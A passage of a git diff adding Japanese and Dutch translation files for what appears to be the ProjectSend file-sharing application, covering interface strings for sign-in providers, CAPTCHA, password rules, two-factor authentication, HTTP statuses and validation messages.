Microsoft tenant assert any email address.": "特定のテナント ID を入力してください。共有の「common」「organizations」「consumers」エンドポイントは、どの Microsoft テナントでも任意のメールアドレスを主張できてしまいます。", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "このサーバーにインストールされているすべての言語が以下に一覧されています。言語メニューで提供したいものにチェックを入れてください。スタッフ、クライアント、一般の訪問者にはそれらだけが表示されます。別の言語をインストールするには、その翻訳ファイルを lang フォルダーに追加するだけです。", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "既存のパスワードは再チェックされないため、これを引き上げても影響するのは今後選ばれるパスワードだけです。", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "全員の合計", + "Issuer URL": "発行者 URL", + "Languages": "言語", + "Language settings": "言語設定", + "Leave empty for a file that can be downloaded any number of times.": "回数制限なくダウンロードできるファイルにするには空欄にしてください。", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "パスワードの推測しにくさを決める最大の要因は長さです。だからこそ、ここには「大文字を含めること」といったルールはありません。そうしたルールは、予測しやすい文字の置き換えや、より短いパスワードへと人を追いやってしまいます。", + "Let people sign in with an account they already have somewhere else.": "すでに他の場所で持っているアカウントでサインインできるようにします。", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "最小の長さ", + "No limit": "上限なし", + "None selected": "何も選択されていません", + "No sign-in providers have been set up for this site.": "このサイトにはサインインプロバイダーが設定されていません。", + "Not connected": "未接続", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "オフの場合、アカウントリクエストで待機します。プロバイダーが確認しなかったアドレスは、この設定にかかわらず常に待機します。", + "Off — no CAPTCHA": "オフ — CAPTCHA なし", + "OpenID Connect": "OpenID Connect", + "Or continue with": "または次で続行", + "Or sign up with": "または次で登録", + "Passwords": "パスワード", + "Passwords that appear in known data breaches are not accepted.": "既知のデータ漏えいに現れるパスワードは受け付けられません。", + "Protection": "保護", + "Protect these forms": "これらのフォームを保護する", + "Protect your public forms from automated abuse": "公開フォームを自動化された悪用から保護します", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "リダイレクト URI", + "Register this exact address with :provider. It must match character for character.": "このアドレスをそのまま :provider に登録してください。1 文字ずつ一致している必要があります。", + "Reject passwords found in known data breaches": "既知のデータ漏えいで見つかったパスワードを拒否する", + "Removed two-factor authentication from \":subject\"": "「:subject」から二要素認証を削除しました", + "Remove the limit": "上限を解除", + "Remove two-factor authentication": "二要素認証を削除", + "Remove two-factor authentication?": "二要素認証を削除しますか?", + "Require a verified email address": "確認済みのメールアドレスを必須にする", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "これらは Web サーバーが動作しているユーザーとして実行してください。詳しい手順は INSTALL.md にあります。", + "Score threshold": "スコアのしきい値", + "Search timezones…": "タイムゾーンを検索…", + "Security check failed. Please try again.": "セキュリティチェックに失敗しました。もう一度お試しください。", + "Service": "サービス", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "このアカウントにパスワードを設定してください。これまで一度も設定されていません。接続されたプロバイダー経由でサインインしていますが、スタッフアカウントにはこのアプリケーション自身が確認できる認証情報が必要です。", + "Signed-in visitors are never asked to solve a challenge when commenting.": "サインイン済みの訪問者は、コメント時にチャレンジを求められることは一切ありません。", + "Sign in": "サインイン", + "Sign in with an account you already have somewhere else.": "すでに他の場所で持っているアカウントでサインインします。", + "Site key": "サイトキー", + "Social login": "ソーシャルログイン", + "Stored encrypted and never shown again, not even to you.": "暗号化して保存され、あなたにも二度と表示されません。", + "Stored — leave blank to keep it": "保存済み — 維持するには空欄のままに", + "Testing…": "テスト中…", + "Test keys": "キーをテスト", + "That :provider account is already connected to another account here.": "その :provider アカウントは、ここですでに別のアカウントに接続されています。", + "That sign-in could not be completed. Please try again.": "そのサインインを完了できませんでした。もう一度お試しください。", + "That sign-in method is not available.": "そのサインイン方法は利用できません。", + "The default language has to be one of the languages you are offering.": "既定の言語は、提供している言語のいずれかである必要があります。", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "エンドポイントはこのアドレスから読み取られるため、これが設定のすべてです。https である必要があります。", + "The expiry date must be in the future.": "有効期限は未来の日付である必要があります。", + "The issuer URL must start with https://.": "発行者 URL は https:// で始まる必要があります。", + "The public key. It appears in your pages’ source, which is expected.": "公開鍵です。ページのソースに表示されますが、これは想定どおりです。", + "There is no account here for that address.": "そのアドレスに対応するアカウントはここにありません。", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "セキュリティチェックを読み込めませんでした。ブラウザーやネットワークがブロックしていないか確認し、ページを再読み込みしてください。", + "This account does not use an authenticator app.": "このアカウントは認証アプリを使用していません。", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "このアカウントは独自のパスワードを一度も持ったことがなく、接続されたプロバイダー経由でサインインしています。プロバイダーの障害で締め出されないよう、スタッフにはこのアプリケーション自身が確認できる認証情報が必要です。", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "このアカウントは認証アプリでサインインします。アカウント所有者がアプリとリカバリコードの両方を失った場合にのみ削除してください。", + "This file has reached its download limit.": "このファイルはダウンロード上限に達しました。", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "これがあなたの唯一のサインイン方法です。先にパスワードを設定してから :provider を切断してください。", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "このサイトは reCAPTCHA によって保護されており、Google のプライバシーポリシーと利用規約が適用されます。", + "Those files have reached their download limit.": "それらのファイルはダウンロード上限に達しました。", + "Timezone": "タイムゾーン", + "To update, back up your database and files, then:": "更新するには、データベースとファイルをバックアップしてから、次を実行します:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "更新するには INSTALL.md の手順に従ってください。まずバックアップし、次にリリースを展開してマイグレーションを実行します。", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "このサーバーが外部へのリクエストを一切行うべきでない場合にのみオフにしてください。サービスに接続できない場合でもパスワードは受け入れられるため、オフラインのインストールがこれによってブロックされることはありません。", + "Two-factor authentication removed.": "二要素認証を削除しました。", + "Two-factor authentication removed by an admin": "管理者によって二要素認証が削除されました", + "Two-factor authentication was removed by an administrator": "二要素認証が管理者によって削除されました", + "Two-factor authentication was removed from your account": "あなたのアカウントから二要素認証が削除されました", + "Unexpected reply from :provider: :codes": ":provider から予期しない応答がありました: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "公開ページや共有リンクの訪問者を含め、自分のタイムゾーンを選んでいない人すべてに使用されます。各アカウントはプロフィールで独自のものを設定できます。", + "Use ProjectSend’s protection": "ProjectSend の保護を使用する", + "Use your own reCAPTCHA or Turnstile account.": "自分の reCAPTCHA または Turnstile アカウントを使用します。", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "最近、検証サービスに接続できなかったため、保護されたフォームはチェックなしで通過させています。誰も締め出されていません。", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "あなたの公開フォームを私たちが保護します。設定は不要で、管理するキーもありません。", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "人々が何も選ぶ前に目にするものです。サインイン済みのアカウントは自身の選択を保持し、ブラウザーが上記のいずれかの言語を要求する訪問者はその言語になります。これはそれ以外のすべての人に対する答えです。", + "Which languages people can choose from": "人々が選べる言語", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "あなたのアカウントはこれらのプロバイダーのいずれかを通じて作成され、独自のパスワードを持たないため、最後の接続は削除できません。切断したい場合は先にパスワードを設定してください。", + "Your own account is set to :timezone, so this will not change how dates look to you.": "あなた自身のアカウントは :timezone に設定されているため、これによってあなたに表示される日付が変わることはありません。", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "「common」ではなく、あなた自身のテナントです。Microsoft ではユーザーがアカウントのメールアドレスを変更できるため、サインインが信頼できるのは、トークンがここで指定したテナントから来た場合だけです。", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "プロバイダーがこのインストールのシークレットキーを拒否したため、保護されたフォームはチェックなしで通過させています。下のシークレットキーを確認してください。", + "Your public forms are protected. You can switch to your own keys at any time.": "あなたの公開フォームは保護されています。いつでも自分のキーに切り替えられます。" +} diff --git a/lang/ja/actions.php b/lang/ja/actions.php new file mode 100644 index 00000000..27c81bc6 --- /dev/null +++ b/lang/ja/actions.php @@ -0,0 +1,119 @@ + '承諾', + 'action' => 'アクション', + 'actions' => 'アクション', + 'add' => '追加', + 'admin' => '管理者', + 'agree' => '同意', + 'archive' => 'アーカイブ', + 'assign' => '割当', + 'associate' => '仲間', + 'attach' => '添付', + 'browse' => 'ブラウズ', + 'cancel' => 'キャンセル', + 'choose' => '選択', + 'choose_file' => 'ファイルの選択', + 'choose_image' => '画像の選択', + 'click_to_copy' => 'クリックしてコピー', + 'close' => '閉じる', + 'collapse' => '折りたたむ', + 'collapse_all' => 'すべて折りたたむ', + 'comment' => 'コメント', + 'confirm' => '確認', + 'connect' => '接続', + 'create' => '作成', + 'delete' => '消去', + 'detach' => '切り離す', + 'details' => '詳細', + 'disable' => '無効化', + 'discard' => '破棄', + 'done' => '完了', + 'down' => '下', + 'duplicate' => '複製', + 'edit' => '編集', + 'enable' => '有効化', + 'expand' => '拡大', + 'expand_all' => 'すべて展開', + 'explanation' => '説明', + 'export' => 'エクスポート', + 'file' => 'ファイル', + 'files' => 'ファイル', + 'go_home' => 'ホームへ', + 'hide' => '非表示', + 'home' => 'ホーム', + 'image' => '画像', + 'impersonate' => 'なりすます', + 'impersonation' => 'なりすまし', + 'import' => 'インポート', + 'introduction' => '導入', + 'like' => 'いいね', + 'load' => '負荷', + 'localize' => 'ローカライズ', + 'log_in' => 'ログイン', + 'log_out' => 'ログアウト', + 'named' => [ + 'add' => ':nameを追加', + 'choose' => ':nameを選択', + 'create' => ':nameを作成', + 'delete' => ':nameを削除', + 'duplicate' => ':nameを複製', + 'edit' => ':nameを編集', + 'export' => ':nameをエクスポート', + 'hide' => ':nameを非表示', + 'import' => ':nameをインポート', + 'new' => ':nameを新規作成', + 'restore' => ':nameを復元', + 'save' => ':nameを保存', + 'search' => ':nameを検索', + 'show' => ':nameを表示', + 'update' => ':nameを更新', + 'view' => ':nameを閲覧', + ], + 'new' => '新規', + 'no' => 'いいえ', + 'open' => '開く', + 'open_website' => 'ウェブサイトで開く', + 'preview' => 'プレビュー', + 'price' => '価格', + 'record' => '記録', + 'restore' => '復元', + 'save' => '保存', + 'save_and_close' => '保存して閉じる', + 'save_and_return' => '保存して戻る', + 'search' => '検索', + 'select' => '選択', + 'select_all' => 'すべて選択', + 'send' => '送信', + 'settings' => '設定', + 'show' => '表示', + 'show_all' => 'すべて表示', + 'sign_in' => 'サインイン', + 'solve' => '解決', + 'start' => '開始', + 'stop' => '停止', + 'submit' => '送信', + 'subscribe' => 'サブスクライブ', + 'switch' => '切り替え', + 'switch_to_role' => 'ロールの切り替え', + 'tag' => 'タグ', + 'tags' => 'タグ', + 'target_link' => [ + 'blank' => '新しいウィンドウで開く', + 'parent' => '親フレームで開く', + 'self' => '現在のウィンドウで開く', + 'top' => '一番上のフレームで開く', + ], + 'translate' => '翻訳', + 'translate_it' => '翻訳してください', + 'unpack' => '開梱', + 'unsubscribe' => 'サブスクライブの解除', + 'up' => '上', + 'update' => '更新', + 'user' => 'ユーザー', + 'view' => '閲覧', + 'yes' => 'はい', +]; diff --git a/lang/ja/auth.php b/lang/ja/auth.php new file mode 100644 index 00000000..8cf09d48 --- /dev/null +++ b/lang/ja/auth.php @@ -0,0 +1,9 @@ + '認証に失敗しました。', + 'password' => 'パスワードが正しくありません。', + 'throttle' => 'ログインの試行回数が多すぎます。:seconds 秒後にお試しください。', +]; diff --git a/lang/ja/http-statuses.php b/lang/ja/http-statuses.php new file mode 100644 index 00000000..1f96c014 --- /dev/null +++ b/lang/ja/http-statuses.php @@ -0,0 +1,84 @@ + '不明なエラー', + '100' => '継続', + '101' => 'プロトコルの切替', + '102' => '処理中', + '200' => '成功', + '201' => '作成済', + '202' => '承認済', + '203' => '信頼できない情報', + '204' => 'コンテンツなし', + '205' => 'コンテンツのリセット', + '206' => '部分的なコンテンツ', + '207' => 'マルチステータス', + '208' => '報告済', + '226' => 'IM 使用済み', + '300' => '複数の選択肢', + '301' => '恒久的に移動', + '302' => '発見', + '303' => '他を参照要', + '304' => '未変更', + '305' => 'プロキシ使用', + '307' => '一時的なリダイレクト', + '308' => '恒久的なリダイレクト', + '400' => '不正なリクエスト', + '401' => '認証が必要', + '402' => '支払いが必要', + '403' => '認可が必要', + '404' => '見つかりません', + '405' => '未許可のメソッド', + '406' => '受付不可', + '407' => 'プロキシ認証が必要', + '408' => 'リクエストタイムアウト', + '409' => '競合', + '410' => '消滅', + '411' => '長さが必要', + '412' => '前提条件が失敗', + '413' => 'ペイロードが大きすぎます', + '414' => 'URLが長すぎます', + '415' => 'サポートされていないメディアタイプ', + '416' => '範囲外のレンジ', + '417' => '指定された要件を満たしていません', + '418' => '私はティーポットです', + '419' => 'セッションの有効期限切れ', + '421' => '誤ったリクエスト', + '422' => '処理できないエンティティ', + '423' => 'ロック済', + '424' => '失敗した依存関係', + '425' => 'リクエスト間隔が早すぎる', + '426' => 'アップグレードが必要', + '428' => '事前条件が必要', + '429' => 'リクエストが多すぎます', + '431' => '要求ヘッダーフィールドが大きすぎます', + '444' => '応答なしで接続が閉じられました', + '449' => '再試行', + '451' => '法的な理由により利用不可', + '499' => 'クライアントによるリクエストの終了', + '500' => '内部サーバーエラー', + '501' => '未実装', + '502' => '不正なゲートウェイ', + '503' => 'メンテナンス中', + '504' => 'ゲートウェイのタイムアウト', + '505' => 'サポートしていないHTTPバージョン', + '506' => 'バリアントの再認証', + '507' => 'ストレージ不足', + '508' => 'ループを検出', + '509' => '帯域幅の制限を超過', + '510' => '拡張なし', + '511' => 'ネットワーク認証が必要', + '520' => '不明なエラー', + '521' => 'Webサーバーが停止中', + '522' => '接続がタイムアウト', + '523' => 'オリジンに到達できません', + '524' => 'タイムアウト発生', + '525' => 'SSL接続エラー', + '526' => '無効なSSL証明書', + '527' => 'レールガンエラー', + '598' => 'ネットワーク読み取りのタイムアウトエラー', + '599' => 'ネットワーク接続のタイムアウトエラー', + 'unknownError' => '不明なエラー', +]; diff --git a/lang/ja/pagination.php b/lang/ja/pagination.php new file mode 100644 index 00000000..130eca29 --- /dev/null +++ b/lang/ja/pagination.php @@ -0,0 +1,8 @@ + '次へ »', + 'previous' => '« 前へ', +]; diff --git a/lang/ja/passwords.php b/lang/ja/passwords.php new file mode 100644 index 00000000..23c8444f --- /dev/null +++ b/lang/ja/passwords.php @@ -0,0 +1,11 @@ + 'パスワードが再設定されました。', + 'sent' => 'パスワードリセットメールを送信しました。', + 'throttled' => '時間を置いて再度お試しください。', + 'token' => 'このパスワード再設定トークンは無効です。', + 'user' => 'このメールアドレスに一致するユーザーがいません。', +]; diff --git a/lang/ja/validation.php b/lang/ja/validation.php new file mode 100644 index 00000000..c009681b --- /dev/null +++ b/lang/ja/validation.php @@ -0,0 +1,288 @@ + ':attributeを承認してください。', + 'accepted_if' => ':otherが:valueの場合、:attributeを承認する必要があります。', + 'active_url' => ':attributeは、有効なURLではありません。', + 'after' => ':attributeには、:dateより後の日付を指定してください。', + 'after_or_equal' => ':attributeには、:date以降の日付を指定してください。', + 'alpha' => ':attributeには、アルファベッドのみ使用できます。', + 'alpha_dash' => ':attributeには、英数字(\'A-Z\',\'a-z\',\'0-9\')とハイフンと下線(\'-\',\'_\')が使用できます。', + 'alpha_num' => ':attributeには、英数字(\'A-Z\',\'a-z\',\'0-9\')が使用できます。', + 'any_of' => ':attributeは、有効ではありません。', + 'array' => ':attributeには、配列を指定してください。', + 'ascii' => ':attributeには、英数字と記号のみ使用可能です。', + 'before' => ':attributeには、:dateより前の日付を指定してください。', + 'before_or_equal' => ':attributeには、:date以前の日付を指定してください。', + 'between' => [ + 'array' => ':attributeの項目は、:min個から:max個にしてください。', + 'file' => ':attributeには、:min KBから:max KBまでのサイズのファイルを指定してください。', + 'numeric' => ':attributeには、:minから、:maxまでの数字を指定してください。', + 'string' => ':attributeは、:min文字から:max文字にしてください。', + ], + 'boolean' => ':attributeには、\'true\'か\'false\'を指定してください。', + 'can' => ':attributeに権限のない値が含まれています。', + 'confirmed' => ':attributeと:attribute確認が一致しません。', + 'contains' => ':attributeに必須項目が含まれていません。', + 'current_password' => 'パスワードが正しくありません。', + 'date' => ':attributeは、正しい日付ではありません。', + 'date_equals' => ':attributeは:dateと同じ日付を入力してください。', + 'date_format' => ':attributeの形式が\':format\'と一致しません。', + 'decimal' => ':attributeは、小数点以下が:decimalである必要があります。', + 'declined' => ':attributeを拒否する必要があります。', + 'declined_if' => ':otherが:valueの場合、:attributeを拒否する必要があります。', + 'different' => ':attributeと:otherには、異なるものを指定してください。', + 'digits' => ':attributeは、:digits桁にしてください。', + 'digits_between' => ':attributeは、:min桁から:max桁にしてください。', + 'dimensions' => ':attributeの画像サイズが無効です', + 'distinct' => ':attributeの値が重複しています。', + 'doesnt_contain' => ':attributeには、次のいずれも含めてはなりません: :values。', + 'doesnt_end_with' => ':attributeの終わりは「:values」以外である必要があります。', + 'doesnt_start_with' => ':attributeの始まりは「:values」以外である必要があります。', + 'email' => ':attributeは、有効なメールアドレス形式で指定してください。', + 'encoding' => ':attributeは、:encodingでエンコードされている必要があります。', + 'ends_with' => ':attributeの終わりは「:values」である必要があります。', + 'enum' => '選択した :attributeは 無効です。', + 'exists' => '選択された:attributeは、有効ではありません。', + 'extensions' => ':attribute には、次のいずれかの拡張子が必要です: :values', + 'file' => ':attributeには、ファイル形式を指定してください。', + 'filled' => ':attributeは必須です。', + 'gt' => [ + 'array' => ':attributeの項目数は、:value個より多い必要があります。', + 'file' => ':attributeは、:value KBより大きい必要があります。', + 'numeric' => ':attributeは、:valueより大きい必要があります。', + 'string' => ':attributeは、:value文字を超える必要があります。', + ], + 'gte' => [ + 'array' => ':attributeの項目数は、:value個以上である必要があります。', + 'file' => ':attributeは、:value KB以上である必要があります。', + 'numeric' => ':attributeは、:value以上である必要があります。', + 'string' => ':attributeは、:value文字以上である必要があります。', + ], + 'hex_color' => ':attributeは、有効な16進数カラーコードを指定してください。', + 'image' => ':attributeには、画像を指定してください。', + 'in' => '選択された:attributeは、有効ではありません。', + 'in_array' => ':attributeが:otherに存在しません。', + 'in_array_keys' => ':attributeには、次のいずれかのキーを少なくとも1つ含める必要があります: :values。', + 'integer' => ':attributeには、整数を指定してください。', + 'ip' => ':attributeには、有効なIPアドレスを指定してください。', + 'ipv4' => ':attributeはIPv4アドレスを指定してください。', + 'ipv6' => ':attributeはIPv6アドレスを指定してください。', + 'json' => ':attributeには、有効なJSON文字列を指定してください。', + 'list' => ':attribute フィールドはリストでなければなりません。', + 'lowercase' => ':attributeは、小文字で入力してください。', + 'lt' => [ + 'array' => ':attributeの項目数は、:value個より少ない必要があります。', + 'file' => ':attributeは、:value KBより小さい必要があります。', + 'numeric' => ':attributeは、:valueより小さい必要があります。', + 'string' => ':attributeは、:value文字より小さい必要があります。', + ], + 'lte' => [ + 'array' => ':attributeの項目数は、:value個以下である必要があります。', + 'file' => ':attributeは、:value KB以下である必要があります。', + 'numeric' => ':attributeは、:value以下である必要があります。', + 'string' => ':attributeは、:value文字以下である必要があります。', + ], + 'mac_address' => ':attributeは有効なMACアドレスである必要があります。', + 'max' => [ + 'array' => ':attributeの項目数は、:max個以下である必要があります。', + 'file' => ':attributeは、:max KB以下のファイルである必要があります。', + 'numeric' => ':attributeは、:max以下の数値である必要があります。', + 'string' => ':attributeの文字数は、:max文字以下である必要があります。', + ], + 'max_digits' => ':attributeは、:max桁以下の数字である必要があります。', + 'mimes' => ':attributeには、以下のファイルタイプを指定してください。:values', + 'mimetypes' => ':attributeには、以下のファイルタイプを指定してください。:values', + 'min' => [ + 'array' => ':attributeの項目数は、:min個以上にしてください。', + 'file' => ':attributeには、:min KB以上のファイルを指定してください。', + 'numeric' => ':attributeには、:min以上の数値を指定してください。', + 'string' => ':attributeの文字数は、:min文字以上である必要があります。', + ], + 'min_digits' => ':attributeは、:min桁以上の数字である必要があります。', + 'missing' => ':attribute を入力する必要はありません。', + 'missing_if' => ':other が :value の場合、:attribute を入力する必要はありません。', + 'missing_unless' => ':other が :value でない限り、:attribute をは入力する必要はありません。', + 'missing_with' => ':values が存在する場合、:attribute をは入力する必要はありません。', + 'missing_with_all' => ':values が存在する場合、:attribute をは入力する必要はありません。', + 'multiple_of' => ':attributeは:valueの倍数である必要があります', + 'not_in' => '選択された:attributeは、有効ではありません。', + 'not_regex' => ':attributeの形式が正しくありません。', + 'numeric' => ':attributeには、数値を指定してください。', + 'password' => [ + 'letters' => ':attributeは文字を1文字以上含める必要があります。', + 'mixed' => ':attributeは大文字と小文字をそれぞれ1文字以上含める必要があります。', + 'numbers' => ':attributeは数字を1文字以上含める必要があります。', + 'symbols' => ':attributeは記号を1文字以上含める必要があります。', + 'uncompromised' => ':attributeは情報漏洩した可能性があります。他の:attributeを選択してください。', + ], + 'present' => ':attributeが存在している必要があります。', + 'present_if' => ':other が :value の場合、:attributeが存在する必要があります。', + 'present_unless' => ':other が :value でない限り、:attributeが存在する必要があります。', + 'present_with' => ':values が存在する場合は、:attributeも存在する必要があります。', + 'present_with_all' => ':values が存在する場合は、:attributeが存在する必要があります。', + 'prohibited' => ':attributeの入力は禁止されています。', + 'prohibited_if' => ':otherが:valueの場合は、:attributeの入力が禁止されています。', + 'prohibited_if_accepted' => ':otherが承認された場合、この項目の入力は禁止されています。', + 'prohibited_if_declined' => ':otherが拒否された場合、この項目の入力は禁止されています。', + 'prohibited_unless' => ':otherが:valuesでない限り、:attributeの入力は禁止されています。', + 'prohibits' => ':otherが存在している場合、:attributeの入力は禁止されています。', + 'regex' => ':attributeには、正しい形式を指定してください。', + 'required' => ':attributeは必須項目です。', + 'required_array_keys' => ':attributeには、:valuesのエントリを含める必要があります。', + 'required_if' => ':otherが:valueの場合、:attributeを指定してください。', + 'required_if_accepted' => ':otherを承認した場合、:attributeは必須項目です。', + 'required_if_declined' => ':otherを拒否した場合、:attributeは必須項目です。', + 'required_unless' => ':otherが:values以外の場合、:attributeは必須項目です。', + 'required_with' => ':valuesが入力されている場合、:attributeは必須項目です。', + 'required_with_all' => ':valuesが全て指定されている場合、:attributeは必須項目です。', + 'required_without' => ':valuesが入力されていない場合、:attributeは必須項目です。', + 'required_without_all' => ':valuesが全て指定されていない場合、:attributeを指定してください。', + 'same' => ':attributeと:otherが一致しません。', + 'size' => [ + 'array' => ':attributeの項目数は、:size個にしてください。', + 'file' => ':attributeには、:size KBのファイルを指定してください。', + 'numeric' => ':attributeには、:sizeを指定してください。', + 'string' => ':attributeの文字数は、:size文字にしてください。', + ], + 'starts_with' => ':attributeは、次のいずれかで始まる必要があります。:values', + 'string' => ':attributeには、文字列を指定してください。', + 'timezone' => ':attributeには、有効なタイムゾーンを指定してください。', + 'ulid' => ':attributeは、有効なULIDである必要があります。', + 'unique' => '指定の:attributeは既に使用されています。', + 'uploaded' => ':attributeのアップロードに失敗しました。', + 'uppercase' => ':attributeは、大文字で入力してください。', + 'url' => ':attributeは、有効なURL形式で指定してください。', + 'uuid' => ':attributeは、有効なUUIDである必要があります。', + 'attributes' => [ + 'address' => '住所', + 'affiliate_url' => 'アフィリエイトURL', + 'age' => '年齢', + 'amount' => '金額', + 'announcement' => 'アナウンス', + 'area' => 'エリア', + 'audience_prize' => '観客賞', + 'audience_winner' => '観客賞受賞者', + 'available' => '利用可能', + 'birthday' => '誕生日', + 'body' => '本文', + 'city' => '市', + 'color' => '色', + 'company' => '会社', + 'compilation' => '編集', + 'concept' => 'コンセプト', + 'conditions' => '条件', + 'content' => 'コンテンツ', + 'contest' => 'コンテスト', + 'country' => '国', + 'cover' => 'カバー', + 'created_at' => '作成日', + 'creator' => 'クリエーター', + 'currency' => '通貨', + 'current_password' => '現在のパスワード', + 'customer' => 'お客様', + 'date' => '日付', + 'date_of_birth' => '生年月日', + 'dates' => '日付', + 'day' => '日', + 'deleted_at' => '削除日', + 'description' => '説明', + 'display_type' => '表示タイプ', + 'district' => '地区', + 'duration' => '期間', + 'email' => 'メール', + 'excerpt' => '抜粋', + 'filter' => 'フィルタ', + 'finished_at' => '終了日', + 'first_name' => '名', + 'gender' => '性別', + 'grand_prize' => '大賞', + 'group' => 'グループ', + 'hour' => '時', + 'image' => '画像', + 'image_desktop' => 'デスクトップ画像', + 'image_main' => 'メイン画像', + 'image_mobile' => 'モバイル画像', + 'images' => '画像', + 'is_audience_winner' => '観客賞受賞者', + 'is_hidden' => '非表示中', + 'is_subscribed' => 'サブスクライブ済', + 'is_visible' => '表示中', + 'is_winner' => '受賞者', + 'items' => 'アイテム', + 'key' => '鍵', + 'last_name' => '姓', + 'lesson' => 'レッスン', + 'line_address_1' => '住所1行目', + 'line_address_2' => '住所2行目', + 'login' => 'ログイン', + 'message' => 'メッセージ', + 'middle_name' => 'ミドルネーム', + 'minute' => '分', + 'mobile' => 'モバイル', + 'month' => '月', + 'name' => '名前', + 'national_code' => '国コード', + 'number' => '番号', + 'password' => 'パスワード', + 'password_confirmation' => 'パスワードの確認', + 'phone' => '電話番号', + 'photo' => '写真', + 'portfolio' => 'ポートフォリオ', + 'postal_code' => '郵便番号', + 'preview' => 'プレビュー', + 'price' => '価格', + 'product_id' => '製品番号', + 'product_uid' => '製品UID', + 'product_uuid' => '製品UUID', + 'promo_code' => 'プロモーションコード', + 'province' => '都道府県', + 'quantity' => '量', + 'reason' => '理由', + 'recaptcha_response_field' => 'reCAPTCHAの応答欄', + 'referee' => '審判', + 'referees' => '審判', + 'region' => '地域', + 'reject_reason' => '拒否理由', + 'remember' => 'ログイン状態を保持', + 'restored_at' => '復元日', + 'result_text_under_image' => '画像下の結果テキスト', + 'role' => 'ロール', + 'rule' => 'ルール', + 'rules' => 'ルール', + 'second' => '秒', + 'sex' => '性別', + 'shipment' => '発送', + 'short_text' => '短いテキスト', + 'size' => 'サイズ', + 'skills' => 'スキル', + 'slug' => 'スラッグ', + 'specialization' => '専門化', + 'started_at' => '開始日', + 'state' => '状態', + 'status' => 'ステータス', + 'street' => '町名・番地', + 'student' => '生徒', + 'subject' => '課題', + 'tag' => 'タグ', + 'tags' => 'タグ', + 'teacher' => '先生', + 'terms' => '利用規約', + 'test_description' => 'テスト内容', + 'test_locale' => 'テストロケール', + 'test_name' => 'テスト名', + 'text' => 'テキスト', + 'time' => '時間', + 'title' => 'タイトル', + 'type' => 'タイプ', + 'updated_at' => '更新日', + 'user' => 'ユーザー', + 'username' => 'ユーザー名', + 'value' => '値', + 'winner' => '受賞者', + 'work' => '仕事', + 'year' => '年', + ], +]; diff --git a/lang/nl.json b/lang/nl.json new file mode 100644 index 00000000..32dc1fc7 --- /dev/null +++ b/lang/nl.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName heeft \":itemName\" geüpload", + ":count accounts have this role": ":count accounts hebben deze rol", + ":count awaiting approval": ":count wachten op goedkeuring", + ":count downloads": ":count downloads", + ":count file deleted.|:count files deleted.": ":count bestand verwijderd.|:count bestanden verwijderd.", + ":count file imported.|:count files imported.": ":count bestand geïmporteerd.|:count bestanden geïmporteerd.", + ":count files": ":count bestanden", + ":count folders": ":count mappen", + ":count items have been shared with you": ":count items zijn met je gedeeld", + ":count members": ":count leden", + ":count selected": ":count geselecteerd", + ":files files": ":files bestanden", + ":itemName was shared with you": ":itemName is met je gedeeld", + ":name will not be added to the group \":group\".": ":name wordt niet aan de groep \":group\" toegevoegd.", + ":total total": ":total in totaal", + ":used / :limit downloads": ":used / :limit downloads", + ":used MB of :quota MB used": ":used MB van :quota MB gebruikt", + ":used MB used, no limit": ":used MB gebruikt, geen limiet", + "(and :count more error)": "(en :count andere foutmelding)", + "(and :count more errors)": "(en :count andere foutmelding)|(en :count andere foutmeldingen)|(en :count andere foutmeldingen)", + "(deleted account)": "(verwijderd account)", + "0 means unlimited.": "0 betekent onbeperkt.", + "A client account request was approved": "Een aanvraag voor een klantaccount is goedgekeurd", + "A client account request was denied": "Een aanvraag voor een klantaccount is geweigerd", + "A client left a group": "Een klant heeft een groep verlaten", + "A client registered an account": "Een klant heeft een account geregistreerd", + "A client requested to join a group": "Een klant heeft gevraagd lid te worden van een groep", + "A client uploaded a file": "Een klant heeft een bestand geüpload", + "A client was added to a group": "Een klant is aan een groep toegevoegd", + "A client was removed from a group": "Een klant is uit een groep verwijderd", + "A decryption key is required.": "Een decryptiesleutel is verplicht.", + "A file assignment was removed": "Een bestandstoewijzing is ingetrokken", + "A file has been shared with you": "Er is een bestand met je gedeeld", + "A file or folder was shared with you": "Er is een bestand of map met je gedeeld", + "A file was assigned": "Een bestand is toegewezen", + "A file was deleted": "Een bestand is verwijderd", + "A file was downloaded": "Een bestand is gedownload", + "A file was downloaded via a public link": "Een bestand is via een openbare link gedownload", + "A file was downloaded via the public group listing": "Een bestand is via het openbare groepsoverzicht gedownload", + "A file was updated": "Een bestand is bijgewerkt", + "A file was uploaded": "Een bestand is geüpload", + "A 